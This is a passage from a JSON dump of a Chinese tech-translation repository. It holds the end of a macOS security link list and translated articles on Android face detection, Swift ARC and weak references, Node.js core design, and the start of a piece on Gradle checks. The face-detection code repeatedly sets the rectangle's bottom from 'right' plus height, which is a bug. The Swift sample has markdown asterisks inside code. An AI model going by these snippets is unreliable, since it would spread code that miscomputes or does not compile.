Self-Defense Guide](https://ssd.eff.org/)\n\n[MacAdmins on Slack](https://macadmins.herokuapp.com/)\n\n[iCloud security and privacy overview](http://support.apple.com/kb/HT4865)\n\n[Demystifying the DMG File Format](http://newosxbook.com/DMG.html)\n\n[There's a lot of vulnerable OS X applications out there (Sparkle Framework RCE)](https://vulnsec.com/2016/osx-apps-vulnerabilities/)\n\n[iSeeYou: Disabling the MacBook Webcam Indicator LED](https://jscholarship.library.jhu.edu/handle/1774.2/36569)\n\n[Mac OS X Forensics - Technical Report](https://www.ma.rhul.ac.uk/static/techrep/2015/RHUL-MA-2015-8.pdf) (pdf)\n\n[Mac Forensics: Mac OS X and the HFS+ File System](https://cet4861.pbworks.com/w/file/fetch/71245694/mac.forensics.craiger-burke.IFIP.06.pdf) (pdf)\n\n[Extracting FileVault 2 Keys with Volatility](https://tribalchicken.com.au/security/extracting-filevault-2-keys-with-volatility/)\n\n[Auditing and Exploiting Apple IPC](https://googleprojectzero.blogspot.com/2015/09/revisiting-apple-ipc-1-distributed_28.html)\n\n[Mac OS X and iOS Internals: To the Apple's Core by Jonathan Levin](https://www.amazon.com/Mac-OS-iOS-Internals-Apples/dp/1118057651)\n\n[Demystifying the i-Device NVMe NAND (New storage used by Apple)](http://ramtin-amin.fr/#nvmepcie)\n"
  },
  {
    "path": "TODO/machine-learning-for-android-developers-with-the-mobile-vision-api-part-1-face-detection.md",
    "content": "> * 原文地址：[Machine Learning for Android Developers with the Mobile Vision API— Part 1 — Face Detection](https://hackernoon.com/machine-learning-for-android-developers-with-the-mobile-vision-api-part-1-face-detection-e7e24a3e472f#.9ay7ilk9b)\n* 原文作者：[Moyinoluwa Adeyemi](https://hackernoon.com/@moyinoluwa)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者： [Nicolas(Yifei) Li](https://github.com/yifili09)\n* 校对者：[jamweak](https://github.com/jamweak), [XHShirley](https://github.com/XHShirley)\n\n# Android 开发者如何通过运动视觉 API 进行机器学习 - 第一部 - 人脸检测 \n\n\n在计算机科学中，机器学习是一个非常有意思的领域，它已经在我的最想学习的愿望清单中驻留已久。因为有太多来自于 `RxJava`, `Testing`, `Android N`, `Android Studio` 以及其他 `Android` 相关的技术更新，所以我都每能花时间来学习这个。甚至在 `Udacity` 还专门有一个有关机器学习的课程。:stuck_out_tongue: 。\n\n让我非常激动的发现是，目前任意一个开发人员都能基于运动视觉(`Mobile Vision API`) 把机器学习运用在他们自己的应用程序中，这个技术来自于 Google，它让你甚至都不需要有机器学习领域的专业知识。你只需要关心怎么利用这些 `APIs`。\n\n在云服务和移动应用中，有很多运用于机器学习的 `APIs`，但是在这些 `API` 中，我将只关注运动视觉 (`Mobile Vision`) `API`，因为它是专门为 `Android` 开发者们创造的。目前运动视觉 (`Mobile Vision`) API 包含了三种功能: 人脸侦测 API，条形码侦测 API，文本侦测 API。在这篇文章中，我们将涉及人脸侦测的内容，并且会在之后的一系列文章里讨论剩下的两种功能。\n\n### 人脸侦测 API\n\n这个 API 被用于侦测和追踪在图片或视频中的人脸，但是它还不具备人脸识别的能力。它能在脸上进行侦测标定并提供人脸分类的功能。人脸标定是一系列在脸组成的点，例如眼睛，鼻子和嘴巴。人脸分类被用于检查那些标定的点是否符合某个特征，例如微笑的脸或者闭上了的眼睛，它们是目前仅支持的分类。这个 API 也能在不同的角度进行人脸侦测，并且记录欧式（欧拉）空间中的 Y坐标和 Z 的角度。\n\n### 入门指南\n\n我们准备创建一个具有两个过滤器的应用程序 `printf(\"%s Story\", yourName)`。请注意，本文的目的仅为了显示如何使用这个 API，所以这个初始版本的代码将不会进行测试或者遵循任何设计模式。也请注意，最好把所有的处理过程都从 UI 线程中分离。[托管在 Github 上的源码](https://github.com/moyheen/face-detector) 将会更新。 \n\n让我们开始吧...\n\n* 在 `Android Studio` 中创建一个新的项目\n* 将含有 Mobile Vision API 的 Google Play Services SDK 导入到你项目中 `app` 层级下的 `build.gradle` 文件内。在写这篇文章的时候，最新版本是 `9.6.1\\`。请一定要小心这里，如果导入了整个 SDK 而不是仅导入你需要的那个 (play-services-vision)，那你一定会达到 65k 方法的限制。   \n\n```\ncompile 'com.google.android.gms:play-services-vision:9.6.1'\n```\n\n* 为了启用那些具有人脸侦测功能的依赖库，添加这个 `meta-data` 到你的 `manifest` 文件中。\n    \n```\n<meta-data\n    android:name=\"com.google.android.gms.vision.DEPENDENCIES\"\n    android:value=\"face\"/>\n```\n\n* 下一步，你需要增加一个 _ImageView_ 和 _Button_ 到你的界面布局中。这个按钮通过选择一个图片开始，并处理这个图片，之后把它显示在 _ImageView_。这个图片能从摄像头或者照片库中获得和加载。为了节约时间，我保存并使用了一个在 `drawable` 文件夹内的图片。\n* 在那个按钮的点击事件内，创建一个新的 _BitmapFactory.Options_ 对象并且把 _inmutable_ 属性设定为 `true`。这确保了 `bitmap` 是可变的，以便我们对它动态地增加效果。\n\n```\nBitmapFactory.Options bitmapOptions = new BitmapFactory.Options();\nbitmapOptions.inMutable = true;\n```\n\n* 下一步，从 `BitmapFactory` 类方法中用 _decodeResource_ 方法创建一个新的 `Bitmap`。你会使用来自你的 `drawable` 文件夹内相同的一个图片并且把 _BitmapOptions_ 这个对象通过和之前一样的参数进行创建。\n\n```\nBitmap defaultBitmap = BitmapFactory.decodeResource(getResources(), R.drawable.image, bitmapOptions);\n```\n\n* 创建一个 _Paint_ 对象并把它的 `style` 属性设定成 `stroke`。这确保了图形不会被完全填充，因为我们需要确保头部在长方形内。\n\n_注意_: 如果你正创建一个名为 _!(Recognize Me)_ 的游戏，你需要在这个游戏内用一个图片挡住你的脸，所以你的对手不得不猜测你是谁，你想要把填充的形式设定成 _Paint.Style.FILL_\n\n    Paint rectPaint = new Paint();\n    rectPaint.setStrokeWidth(5);\n    rectPaint.setColor(Color.CYAN);\n    rectPaint.setStyle(Paint.Style.STROKE);\n\n* 我们需要一个展现这个 `bitmap` 的画布。我们先创建一个有临时 `bitmap` 的画布。这个临时的 `bitmap` 会和之前的有着一样的尺寸，但是仅仅是这个一样的。我们之后要把原始的 `bitmap` 画在同一个画布上。\n\n```\n    Bitmap temporaryBitmap = Bitmap.createBitmap(defaultBitmap.getWidth(), defaultBitmap\n            .getHeight(), Bitmap.Config.RGB_565);\n\n    Canvas canvas = new Canvas(temporaryBitmap);\n    canvas.drawBitmap(defaultBitmap, 0, 0, null);\n```\n\n* 最后，让我们言归正传，说说看怎么使用 _FaceDectector_ API 。因为我们在使用一个静态的图片，所以追踪功能被禁止了。它应该在视频上被启用。\n\n```\n    FaceDetector faceDetector = new FaceDetector.Builder(this)\n            .setTrackingEnabled(false)\n            .setLandmarkType(FaceDetector.ALL_LANDMARKS)\n            .build();\n```\n* 检查是否人脸侦测正常运作了。有可能第一次它不能正常工作，因为有一个依赖库需要被下载到设备上，而当你需要使用它的时候还没有完全下载完毕。\n\n```\n    if (!faceDetector.isOperational()) {\n                new AlertDialog.Builder(this)\n                .setMessage(\"Face Detector could not be set up on your device :(\")\n                .show();\n\n        return;\n    }\n```\n\n* 下一步，我们用默认的 `bitmap` 创建一帧，然后调用人脸侦测功能获取人脸对象。\n\n```\n    Frame frame = new Frame.Builder().setBitmap(defaultBitmap).build();\n    SparseArray sparseArray = faceDetector.detect(frame);\n```\n\n* 在这一步中矩形框画在这个人脸上。我们能获取每个人脸左边和上部的位置，但是我们还需要右边和底部的尺寸才能画矩形。为了解决这个问题，我们分别为左边和上部增加宽度和高度。\n\n```\n    for (int i = 0; i < sparseArray.size(); i++) {\n        Face face = sparseArray.valueAt(i);\n\n        float left = face.getPosition().x;\n        float top = face.getPosition().y;\n        float right = left + face.getWidth();\n        float bottom = right + face.getHeight();\n        float cornerRadius = 2.0f;\n\n        RectF rectF = new RectF(left, top, right, bottom);\n\n        canvas.drawRoundRect(rectF, cornerRadius, cornerRadius, rectPaint);\n    }\n```\n\n* 我们之后创建一个新的 _BitmapDrawable_，它有一个临时的 `bitmap` 并且把它设定在界面布局中的 `ImageView` 中，之后这个人脸侦测的实例就能被释放了。\n\n```\n    imageView.setImageDrawable(new BitmapDrawable(getResources(), temporaryBitmap));\n\n    faceDetector.release();\n```\n\n通过这些步骤，已经可以在每一张人脸上画出一个矩形框了。如果你想在每一张人脸上突出那些标定点，你只需要修改最后两步中的循环内容。你将为没一张脸依次加上标定点，获取标定点的 `x` 和 `y` 坐标，并且在每一个标定点处画上一个圆圈。\n\n\n```\n    for (int i = 0; i < sparseArray.size(); i++) {\n        Face face = sparseArray.valueAt(i);\n\n        float left = face.getPosition().x;\n        float top = face.getPosition().y;\n        float right = left + face.getWidth();\n        float bottom = right + face.getHeight();\n        float cornerRadius = 2.0f;\n\n        RectF rectF = new RectF(left, top, right, bottom);\n        canvas.drawRoundRect(rectF, cornerRadius, cornerRadius, rectPaint);\n\n        for (Landmark landmark : face.getLandmarks()) {\n            int x = (int) (landmark.getPosition().x);\n            int y = (int) (landmark.getPosition().y);\n            float radius = 10.0f;\n\n            canvas.drawCircle(x, y, radius, rectPaint);\n        }\n    }\n```\n\n\n\n有标定点的人脸图片\n\n我很好奇这些标定点是什么展现出来的，所以我使用 _landmark.getType()_ 来查明原由。原来每一个标定点都附带了特别的数字。\n\n```\n    for (Landmark landmark : face.getLandmarks()) {\n\n        int cx = (int) (landmark.getPosition().x);\n        int cy = (int) (landmark.getPosition().y);\n\n        // canvas.drawCircle(cx, cy, 10, rectPaint);\n\n        String type = String.valueOf(landmark.getType());\n        rectPaint.setTextSize(50);    \n        canvas.drawText(type, cx, cy, rectPaint);\n    }\n```\n\n\n![](http://ac-Myg6wSTV.clouddn.com/9c2c504ae6c38fe051bc.png)\n\n当我们想在屏幕上定位跟某个人脸标定点相关的对象的时候，这就非常有用了。如果我们想创建自己的 `printf(\"%s Story\", yourName)` 应用程序，我们要做的就是把一个图像放置到和其中一个标定点有关的位置上，因为我们现在知道了那些数字代表了什么。让我们开始如下的操作...\n\n假设我们现在是一群海盗，并且我们想通过这个非常棒的 `printf(\"%s Story\", yourName)` 滤镜来展现左眼上的眼罩。所以 `eyePatchBitmap` 会被画在左眼的位置。\n\n```\n    for (Landmark landmark : face.getLandmarks()) {\n\n        int cx = (int) (landmark.getPosition().x);\n        int cy = (int) (landmark.getPosition().y);\n\n        // canvas.drawCircle(cx, cy, 10, rectPaint);\n\n        // String type = String.valueOf(landmark.getType());\n        // rectPaint.setTextSize(50);\n        // canvas.drawText(type, cx, cy, rectPaint);\n\n        // the left eye is represented by 4 \n        if (landmark.getType() == 4) {\n            canvas.drawBitmap(eyePatchBitmap, cx - 270, cy - 250, null);\n        }\n    }\n```\n\n\n\n\n这里有更多 `printf(\"%s Story\", yourName)` 应用程序的内容... \n\n关于这个 `API` 还有很多内容。我们能更新这个应用程序，它可以用来在视频内追踪人脸并且允许过滤器跟随头部移动。文中提到的工程源码已经提交到了我们的 [GitHub 仓库。](https://github.com/moyheen/face-detector)\n\n\n\n"
  },
  {
    "path": "TODO/make-memory-management-great-again.md",
    "content": "> * 原文地址：[Make Memory Management Great Again](https://medium.com/ios-geek-community/make-memory-management-great-again-f781fb29cea1#.w6wgnw1og)\n* 原文作者：[Bob Lee](https://medium.com/@bobleesj)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Deepmissea](http://deepmissea.blue)\n* 校对者：[xiaoheiai4719](https://github.com/xiaoheiai4719)，[lovelyCiTY](https://github.com/lovelyCiTY)\n\n# 让内存管理重振雄风\n\n## 无需任何 CS/CE 学位的初学者，可以轻松掌握 Swift 3 中的 ARC（自动引用计数）\n\n![](https://cdn-images-1.medium.com/max/2000/1*s0LCbddq8T4VN4kXtt9r2g.png)\n\nUnsplash 上的美图\n\n### 读者们\n\n这篇文章主要写给那些对`内存管理`零基础的同学。许多 iOS 培训或者书籍都倾向于跳过这部分的内容，因为它对初学者来说实在是有点复杂。举个栗子，你在创建 `IBOutlet` 的时候见过 `weak` 和 `strong` 这些关键字吗？你可能见过，你写这些只是因为需要这么写。\n\n在我们讨论 Swift 之前，先来建立一下关于`内存`的基础，什么是它首要的，以及为什么需要它。你可以跳过这部分。\n\n术语`内存管理`是指一个操作系统（比如 iOS）如何保存和读取数据的概述。当然你已经知道，有两种方式来存储信息或数据。**1. 磁盘** and **2. 随机存取存储器（RAM）**.\n\n#### 预备知识:\n\n对`面向对象编程`、`可选类型`、`可选链`有一个正确的理解。如果你一脸懵逼，放松，赶快来 YouTube 看看我 Swift 的视频。[地址](https://www.youtube.com/playlist?list=PL8btZwalbjYlRZh8Q1VK80Ly0YsZ7PZxx)\n\n### RAM 的目的\n\n现在想象你正在你手机上玩射击游戏，然后它就需要存储一些图形图片，这样你才能在按下设置按钮的时候继续游戏，而且你希望回来时，PR 保持原样。如果不是这样，那就很糟糕了。😅\n\n但是，在你关掉手机的时候，所有的图片都没了。所有，你应该猜到了，他们都是存储在 RAM 中。他们是临时存储到你的手机上，而且非常的迅速，大概在 15,000 MB/s，假设是 1,000 MB/s 的硬盘。那些图形并没有存储在你的硬盘上。因为如果那样，你的玩几个小时游戏以后，手机就剩图片和文字了。\n\n经常，老师们把 RAM 描述为短期记忆。看看下面的短片。\n[![](https://i.ytimg.com/vi_webp/Zz7ShiQqLQg/maxresdefault.webp)](https://www.youtube.com/embed/Zz7ShiQqLQg?wmode=opaque&widget_referrer=https%3A%2F%2Fmedium.com%2Fmedia%2F7ffc9e0d06c547a5448c166284d7fe53%3FpostId%3Df781fb29cea1&enablejsapi=1&origin=https%3A%2F%2Fcdn.embedly.com&widgetid=1)\n\n黑猩猩拥有比大部分人类优秀的短期记忆。尽管两者都不会永远有一个长期的记忆。我的 iPhone 有 4GB 的 RAM 和 128GB 的磁盘。所以，在你运行程序的时候，几乎所有都存储在你的 RAM 里，除非我特别强调这是用 `UserDefaults` 或者 `CoreData` 来存到你的磁盘上。\n\n### RAM 存储的限制\n\n这是另一个场景。现在半夜两点了，你无聊的刷着 Instagram 或者 Facebook 在你的床上孤枕难眠。但是，手机是怎么保持每秒 60 帧的频率，在你上下滑动时，保持平滑过渡的？那是因为这些对象和数据被临时存入了 RAM 中。当然，这无法无限的存储。(译者注：这里手机滑动的流畅不仅仅是因为缓存数据，还有界面的优化等等)\n\n在我们说`内存管理`时，尤其是在 iOS 上，指的是管理 RAM 可用空间的过程。尽管现在你很难见到内存超载，那是因为现在的手机性能要比 5 年前强得多。当然，iOS 开发者的黄金法则是创建一个高性能的程序，即使很多程序在后台运行也不产生影响。让我们对其他 iOS 开发者保持尊重。我们希望我们的程序永生。\n\n### OK，接着干嘛？ 😴\n\nRAM 就像个冰箱，你可以放吃的喝的，甚至衣服，就像我一样。同样地，在 iOS，你可以添加一堆影像，图像，大的对象，比如 UIView。对，就像冰箱一样，有一个物理空间的限制你一共能放多少东西。你可以拿出几瓶啤酒，这样就又能放新鲜的寿司。🍲\n\n幸运的是，在 iOS 10，清理/释放内存这部分工作已经由苹果的工程师创建的库自动完成。他们实现了他们说的 `自动引用计数`，来表示对象是否正在使用或者已经没用。然而在其他的某些编程语言或者几年前，你不得不为对象逐个的手动申请内存，再一个个的释放。\n\n所以，来看看`自动引用计数`是怎么工作的吧。\n\n### 自动引用计数\n\n首先，我们先创建个对象，我已经创建了一个名为 `Passport` 的类，它包含了一个公民身份，和一个可选属性 `human` ——这个一会儿再说，现在不用管 `human` 是怎么创建的，它是一个可选类型。\n\n    class Passport {\n      var human: Human?\n      let citizenship: String\n     init(citizenship: String) {\n      self.citizenship = citizenship\n      print(\"You've made a passport object\")\n     }\n\n    deinit {\n      print(\"I, paper, am gone\")\n     }\n    }\n\n顺便说一下，如果你不知道 `deinit` 是什么意思，那可以理解为与 `init` 相反。所以当你看到了 `init`，意味着你已经创建了一个对象，并把它放到了内存里。而 `deinit` 发生在对象在特定的位置已经被释放/取消分配/清除。\n\n让我们**通过它自己**创建一个对象，而不是用 `var` 或者 `let`\n\n    Passport(citizenship: \"Republic of Korea\")\n    // \"You've made a passport object\"\n    // \"I, paper, am gone\"\n\n等等，为什么你创建了一个对象，却又被**正确删除**了？好吧，这是由于 ARC，我来解释。\n\n为了维持一个在内存中的对象，你必须有一个对象的引用，必须有一个关系，我知道这听上去很奇怪，请原谅我的词穷。\n\n    var myPassPort: Passport? = Passport(citizenship: \"Republic of Korea\")\n\n![](https://cdn-images-1.medium.com/max/1600/1*onm_nN7Cyd9D2fNUZbVyCQ.png)\n\nmyPassport 持有了一个Passport 对象的引用/关系\n\n在你通过 `Passport` 对象自己创建它的时候，它**没有引用/关系的计数**。现在，在 `myPassport` 和 `Passport` 之间有了一个关系，引用计数现在是**一**。\n\n> **唯一法则**: 如果引用计数是零或者没有，那对象就会从内存里清除。\n\n*你可能会奇怪 `strong` 是什么意思. 它是一种默认的关系类型. 一个关系将引用计数加一, 稍后我会在什么时候用 `weak` 时解释。*\n\n现在，我要创建一个叫 `Human` 的类，它包含一个类型是 Passport 的可选类型属性。\n\n    class Human {\n     var passport: Passport?\n     let name: String\n     init(name: String) {\n      self.name = name\n     }\n\n     deinit {\n      print(\"I'm gone, friends\")\n     }\n    }\n\n现在 `passport` 是一个可选类型了，在初始化一个 `Human` 对象时，我们不用设置它的值。\n\n    var bob: Human? = Human(name: \"Bob Lee\")\n\n![](https://cdn-images-1.medium.com/max/1600/1*WGQoMfvMtiYU3QxOXqT9Sw.png)\n\nbob 对于 Human 和 myPassport 对于 Passport 是一样的\n如果你现在把 `bob` 和 `myPassport` 的值设为 `nil` 那么\n\n    myPassport = nil // \"I, paper, am gone\"\n    bob = nil // \"I'm gone, friends\"\n\n![](https://cdn-images-1.medium.com/max/1600/1*aTt-hEdZ-p7SSA7NgcN6jA.png)\n\n所有的都被释放掉了\n在你设置他们为 `nil` 的时候，关系就不存在了，所以他们的引用计数变为 **0**，这导致他们都被释放。\n\n但是，有时即使你设置了 **`**nil**`**，它还是不会释放内存，这可能是由于和对象和其他的对象还存在联系，导致引用计数不能为 0，这听上去很疯，那么我们来看一下。\n\n\n`Human` 类有一个可选类型的属性 `Passport`，而 `Passport` 也有一个可选类型的属性 `Human`。（译者注：这里的 `Human` 在原文中是 `Human1`，肯定是笔误，所以纠正了。）\n\n    var newPassport: Passport? = Passport(citizenship: \"South Korea\")\n    var bobby: Human? = Human(name: \"Bob the Developer\")\n\n    bobby?.passport = newPassport\n    newPassport?.human = bobby\n\n为了搞清楚他们的关系，我已经给你弄了一张表。\n\n![](https://cdn-images-1.medium.com/max/1600/1*dbWY94LQTZCCLGUvMPfQaA.png)\n\nOK，现在，我们像刚才一样，把他们的值设置为 `nil`。\n\n    newPassport = nil\n    bobby = nil\n    // Nothing happens 🤔\n\n什么都没发生。他们还在。为什么？因为在 `bobby` 和 `newPassport` 之间还是存在一个关系。\n\n![](https://cdn-images-1.medium.com/max/1600/1*aytSkuvT1dh0Fjk3HCiiXg.png)\n\n这看起来有点和预期相反。**你必须彻底把这两个对象之间的关系，和其他对象与这两个对象的关系都打破，以完全清除这两个对象**。例如，即使 `Human` 的 “Bob Lee” 已经设置为 `nil`，它还是不会被释放，因为 `Passport` 是指向 `Human` 对象的，他们之间还存在关系（`Human` 的引用计数为 1）。所以现在，当你试着把 `Passport` 设置为 `nil` 的时候，它也不会被释放，因为 `Human` 对象还存在而且还有一个到 `Passport` 的引用。引用计数永远不会为 0。\n\n> “唯一法则反向推论: 对象是否设置为 nil 无关紧要，一切皆为引用计数。你必须破坏所有引用。nil != 释放内存” — SangJoon Lee\n\n### 关键的问题\n\n我们叫它**循环引用**或**内存泄漏**。即使一些对象已经不在使用，而且你认为他们已经被释放了，而他们却还呆在你的手机里占着地方，就像胖子的脂肪一样。（这是 iOS 最常见的面试题之一。）这很糟糕。想象一下如果你在滑动上千条 instagram 推送或者 Facebook NewsFeed 的时候内存泄漏。你仅有的 4G 的内存会被数据对象填满，最终崩溃。这对很多用户来说都不是一个好的体验。\n\n### 送走 Strong，迎接 Weak\n\n非常棒，你已经走了很长一段路了。恭喜。现在，你会学习为什么我们使用 `weak`。唯一的目的是允许**释放对象**。\n\n记住，**弱引用不会增加引用计数**。让我们把 `weak` 加到 `Passport` 类 `Human` 属性的前面。\n\n    class Passport {\n    **weak var human: Human?\n    **let citizenship: String\n\n     init(citizenship: String) {\n      self.citizenship = citizenship\n      print(\"You've created an object\")\n     }\n\n     deinit {\n      print(\"I, papepr, am gone\")\n     }\n    }\n\n其他的都保持原样。\n\n![](https://cdn-images-1.medium.com/max/1600/1*Q0Mh1UxKEVwCuPPSLtFlfA.png)\n\nPassport 现在对 human 是一个弱引用，不会造成循环引用。\n现在，如果你设置\n\n    newPassport = nil\n    bobby = nil\n\n    // \"I, papepr, am gone\"\n    // \"I'm gone, friends\" 👋\n\n![](https://cdn-images-1.medium.com/max/1600/1*7DKrMzcj38Hlvmi3vwY12g.png)\n\n对象被销毁，然后释放。\n\n由于 `weak` 不会作为一种关系而增加，或者说不会增加引用计数，在你设置 `bobby` 为 `nil` 之前，实际上只有**一个引用**。所以，在你把 `bobby` 设置为 `nil`，引用计数/关系变成了 `0`，成功的让你销毁所有对象。我喜欢让东西从内存里出来，妈的，这文章永远牛逼。\n\n#### [源码在这](https://github.com/bobleesj/Blog_Memory_Management)\n\n### 最后的备注\n\n到现在，我希望能你已经理解 `strong` 和 `weak` 是什么，以及`引用计数`是如何在 Swift 里自动工作的。如果你跟我学到了一些新的东西，请点击右面或者下面的 ❤️，我会很感激。我曾想过是否应该放上这些图，因为它们很耗费时间，但是为了我亲爱的 Medium 读者们，这都不是事儿。\n\n在第二部分，我会讲讲**闭包的内存管理**，就像你看到过的 `[weak self]` 一样，我也会聊聊 `self` 的使用目的等等。所以保持关注 follow 我，这样你就能第一时间得到通知！\n\n### 即将到来的课程\n\n我现在开了一门课，叫 The UIKit Fundamentals with Bob on Udemy。这门课面向的是 Swift 的中级开发者。这和那些 “完整的课程” 不一样，它很特别。从上个月到现在，已经有 200 多位读者给我发邮件了。如果感兴趣，给我发邮件，开课的时候免费注册进入，我会给你一个表格来注册。`bobleesj@gmail.com`\n\n#### 辅导\n\n如果你正在寻找一个人，能帮助你转行成为一个 iOS 开发者，或者创建一个为世界共建和谐美好的应用，请联系我详谈。\n\n### Swift 会议\n\n[Andyy Hope](https://medium.com/@AndyyHope)，我的一个朋友，在澳大利亚墨尔本，正在组织最大的 Swift 会议之一，名为 Playgrounds。估计三周以内就会开始了！我非常非常的建议你去看看，因为演讲者们都是大公司来的。😲\n\n[Playgrounds 🐨 (@playgroundscon) | Twitter\nThe latest Tweets from Playgrounds 🐨 (@playgroundscon). ● Swift and Apple Developers Conference ● Melbourne, February…twitter.com](https://twitter.com/playgroundscon)\n\n#### 最后的呐喊\n\n巨感谢我的学生们！ [Nam-Anh](https://medium.com/@yoowinks), [Kevin Curry](https://medium.com/@kevincurry_89695), David, [Akshay Chaudhary](https://medium.com/@Akshay_Webster).\n"
  },
  {
    "path": "TODO/make-node-js-core-bigger.md",
    "content": "> * 原文地址：[Make Node.js Core Bigger](https://medium.com/node-js-javascript/make-node-js-core-bigger-97ca7ef62b77#.7ofxzzhpt)\n* 原文作者：[Mikeal](https://medium.com/@mikeal?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[imink](http://github.com/imink)\n* 校对者：[jifaxu](https://github.com/jifaxu) [FrankXiong](https://github.com/FrankXiong)\n\n# 让 Node.js 核心更强大 #\n\n捍卫使用更强大的 Node.js 核心\n\n相对于其它平台，Node.js 拥有最小的标准库。配合使用强大的生态工具比如 [npm](https://npmjs.org/)，Node.js 已经取得了巨大的成功。\n\n这种成功让 Node.js 的开发形成了一种文化，那就是更倾向于使用体积较小的可复用模块，规模较大的生态系统，同时配合体积较小的核心库。有不少人呼吁让 Node.js 的核心库变得更小。\n\n[**Spotlight #6: \"Small Core\" - Keeping Node Core Small with Sam Roberts and Thomas Watson**](https://changelog.com/spotlight/6) \n\n让人们对生态系统抱有热枕是 Node.js 所擅长的，这其中 Node.js 对第三方库的标准规范对生态系统起到了很大作用。\n\n随着新生技术的不断涌现，Node.js 核心需要建立一个关于兼容性的标准规范，这样才能促使 Node.js 生态系统的繁荣发展。\n\n#### 不使用 require(‘http’) 将会是一场灾难。 ####\n\n当 Node.js 最开始出现时候，所有的类似平台都有一套规范的方法用来关联 HTTP “服务器” 和 “框架”。\n\n[CGI](https://www.w3.org/CGI/) (Perl), [WSGI](https://en.wikipedia.org/wiki/Web_Server_Gateway_Interface) (Python), 和 [Rack](https://en.wikipedia.org/wiki/Rack_%28web_server_interface%29) (Ruby) 本质上都是同一种东西，程序员们通过 web 框架来构建 API，对 HTTP 进行分析。这对于低并发的平台来说是特别重要的，因为程序员可以依赖外部的 web 服务器 (Apache, Nginx, etc) 来管理接收的连接，同时对 HTTP 进行分析。\n\n在 2009 年 Node.js 刚开始的时候，CommonJS 已经为 JavaScript 定义了一套类似的规范，叫做 [JSGI](http://wiki.commonjs.org/wiki/JSGI)。针对该规范的服务支持在其他 JS 平台上早已存在，比如 Narwhal，Node.js 版本的实现也呼之欲出。\n\n早期的 Node.js 贡献者同时也是后来的 npm 作者 [isaacs](https://github.com/isaacs) 开发了一个 JSGI 版本叫做 [EJSGI](https://github.com/isaacs/ejsgi) (Evented-JSGI)，它能够兼容 Node.js 的异步并发模型；但这不是 Node.js 最后的归路。\n\n相反的，Node.js 比其他平台要走得更远。Node.js 基本规定了 API 的”框架”层，并将此与 **整个服务器的实现** 捆绑了起来。表面上，Node.js 和它同时期的平台相比有更小的标准库，但实际上它要比自己早期做的事情走的更远。\n\n### 框架会成为生态系统的毒药 ###\n\n回到 2009 年，你可以观察到 Ruby 和 Python 以及其他众多 web 框架所面临的问题。只有模块间相互兼容，模块多样性才有益于生态系统。因为大多数框架都发明了与自身兼容的纵向的插件系统，但那些插件最终却难以和其他框架兼容。\n\nNode.js 定义框架层的决定逆转了之前提到的趋势，它迫使那些构建在 HTTP 层面上的模块互相之间具有同样高度的兼容性。当框架最终呈现出来的时候，它实际上是扩展了标准库，而不是发明了只能够兼容自身的 API。这就意味着绝大多数服务于不同框架的模块是相互兼容的，而那些用来构建 “标准” HTTP API 的模块则适用于任何一个框架。\n\nNode.js 因为拥有世界上最大的生态系统而得到了广泛关注。相对于其它平台而言，如此大的生态还能保持模块间的高度兼容性这一点更是让人佩服不已。这种兼容性实际上是 Node.js 核心所定义的标准化规范所带来的，比如 Stream 、模块化、错误优先回调、以及不那么被人关注的 API，比如 require(‘http’)。\n\n### 标准化属于核心 ###\n\n维护标准库的样例实现（译者注：reference implementations 指的是用来强调软件概念的一种实现方式，具体请参考wiki）毫无疑问是一种负担。Node.js 自带的 stream 库总是比 npm 里的差几个版本。**但这不意味着他不属于核心**\n\n为了让标准库能够真正的大规模应用在生态系统当中，并且足够的可靠，这些标准规范必须纳入到核心当中。在 Node.js 核心库的生态系统之外有很多优秀的标准库，但是都没有被理所应当的应用起来。\n\n[Abstract Blob Store](https://github.com/maxogden/abstract-blob-store) 是一个我不会错过的优秀的标准库。然而许多有影响力的 Node.js 开发者都认为它目前还不足以可靠到在具体项目中去使用它。有几家云服务提供商仍然没有该库的实现，并且相对于那些已经被 Node.js 核心规范化的标准库而言 ，它还远远没有到被默认使用的地步。\n\n我们之所以让很多库不在核心库当中是为了鼓励在生态系统中的创新。规范化是一种不提倡特定类型创新的过程。通过将这些标准规范纳入 Node.js 核心，我们希望能够阻止生态系统中各种规范间的相互竞争。\n\n将来，我们会在 Node.js 中加入一些新技术，比如 HTTP/2 标准的 API，因为我们想像当年对待 HTTP/1.1 那样，加入对 HTTP/2 的支持，保持生态系统的高度兼容性。\n"
  },
  {
    "path": "TODO/make-or-break-with-gradle.md",
    "content": "> * 原文地址：[Make or break… with Gradle](https://medium.com/contentsquare-engineering-blog/make-or-break-with-gradle-dac2e858868d)\n> * 原文作者：[Tancho Markovik](https://medium.com/@smarkovik)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[jacksonke](https://github.com/jacksonke)\n> * 校对者：[phxnirvana](https://github.com/phxnirvana) [stormrabbit](https://github.com/stormrabbit)\n\n# 使用 Gradle 做构建检查 #\n\n你是否听过这个词, 垃圾代码（**Legacy Code**）? \n你是否考虑过在实际工作中，你也会制造垃圾代码？\n\n那感觉挺可怕的，对吧？\n\n但这是真的吗？你的代码会是垃圾代码吗？\n我会问自己这个问题，最后决定对这个课题做一些研究。我尝试去弄清楚开发者是如何定义垃圾代码的。\n在我搜索的时候，我发现这么个定义：\n\n> “有一种常见的误区，认为垃圾代码就是旧代码。虽然一些软件开发人员将垃圾代码视为一个写得不好的程序，但实际上，垃圾代码其实是开发者不再精心设计，而疲于不断修补的代码。客户的需求一直在变化，代码也要跟着变动，久而久之，无休止的变动会让最初编写好的代码演变成一个复杂的怪物。当不破坏原有的逻辑或者功能就无法添加新特性时，开发者就会将这种代码视作垃圾代码。这个时候，开发人员可能会开始尝试新的系统。”\n\n听起来是否很熟悉？\n那么，我们要如何解决这种问题呢？\n\n最近我多数工作都是基于 Android 平台的，所以我接下去的讨论都会基于这个平台。我加入 ContentSquare 一段时间了，我很幸运能够直接影响两个移动平台。\n\n“**我会从所犯的错误中汲取教训，同时不让其他人再一次犯同样的错误！**”\n\n我开始研究相关工具，最终我想做的是在两个平台上实施相同的安全策略。\n\n所以，我开始为我的安全策略定了些要求：\n\n- 检测代码风格\n- 增加代码分析器\n- 添加特定的模式匹配，来查找代码\n- 能持续性地产生文档\n- 开发过程中，能够持续的发现问题\n- 预防代码漏洞\n\n### Git 及其它相关小工具 ###\n\n（我们）配备了所有常用的工具。我们使用 GitHub，我们有一个运行我们的构建的 Jenkins 